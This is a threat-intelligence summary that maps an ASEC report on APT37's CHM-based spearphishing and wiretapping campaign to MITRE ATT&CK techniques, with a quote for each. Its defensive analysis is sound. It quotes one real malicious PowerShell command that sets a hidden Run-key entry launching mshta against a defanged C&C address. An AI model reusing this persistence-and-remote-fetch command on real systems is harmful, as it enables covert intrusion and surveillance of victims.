RedEyes Group Wiretapping Individuals (APT37) – ASEC BLOG

MITRE Techniques

• [T1566.001] Spearphishing Attachment – Initial access via CHM file disguised as a password file in spear-phishing emails. Quote: “The threat actor used a CHM (Compiled HTML Help File) file to carry out their initial breach. Similar to the case covered back in March, ‘Malware Distributed Disguised as a Password File’ [2], it is assumed that targets were approached via spear phishing emails with a normal password-protected document and a CHM malware disguised as a password file attached to them.”
• [T1218.005] Signed Binary Proxy Execution: Mshta – CHM content triggers MSHTA.exe to execute a malicious script from C&C. Quote: “the internal script code in the CHM shown in Figure 4 triggers MSHTA.exe to be executed, which causes a malicious script from the threat actor’s C&C server to be executed as well.”
• [T1059.001] PowerShell – Malicious script is PowerShell malware with persistence. Quote: “The malicious script obtained during the analysis was confirmed as PowerShell malware that maintains persistence through the use of an autorun registry key.”
• [T1547.001] Registry Run Keys/Startup Folder – Persistence via autorun registry key. Quote: “New-ItemProperty -Path HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Name kcJuWlrQO -Value ‘c:windowssystem32cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 569782 2.2.2.2 || mshta hxxp://172.93.181[.]249/control/html/1.html’ -PropertyType String -Force;”
• [T1071.001] Web Protocols – C2 over Ably platform (GoLang) with channel authentication key. Quote: “The threat actor carried out later attack stages such as privilege escalation, exfiltration, and malware distribution through a backdoor that utilizes the Ably platform service which is based on GoLang.”
• [T1560.001] Archive Collected Data – Exfiltration uses a built-in RAR compression utility with password, archiving data at intervals. Quote: “compress the exfiltrated data from the infected PC at 30-minute intervals using a password.”
• [T1113] Screen Capture – Infostealer features include taking screenshots. Quote: “The executed Infostealer has various features, such as taking screenshots, exfiltrating data …”
• [T1056.001] Keyboard Input Capture – Keylogging as part of exfiltration features. Quote: “screenshots, exfiltrating data … keylogging, and wiretapping.”
• [T1123] Audio Capture – Wiretapping via microphone access. Quote: “wiretapping” (microphone wiretapping) in exfiltration features.
• [T1025] Data from Removable Media – Exfiltrated data includes removable media. Quote: “Removable media device” in exfiltration table.
• [T1105] Ingress Tool Transfer – GoLang backdoor fetching and decoding of Ably authentication key from GitHub. Quote: “The GoLang backdoor accesses the GitHub URL that exists within its binary and retrieves the data that is in the ‘BASE64-encoded channel authentication key’ format…”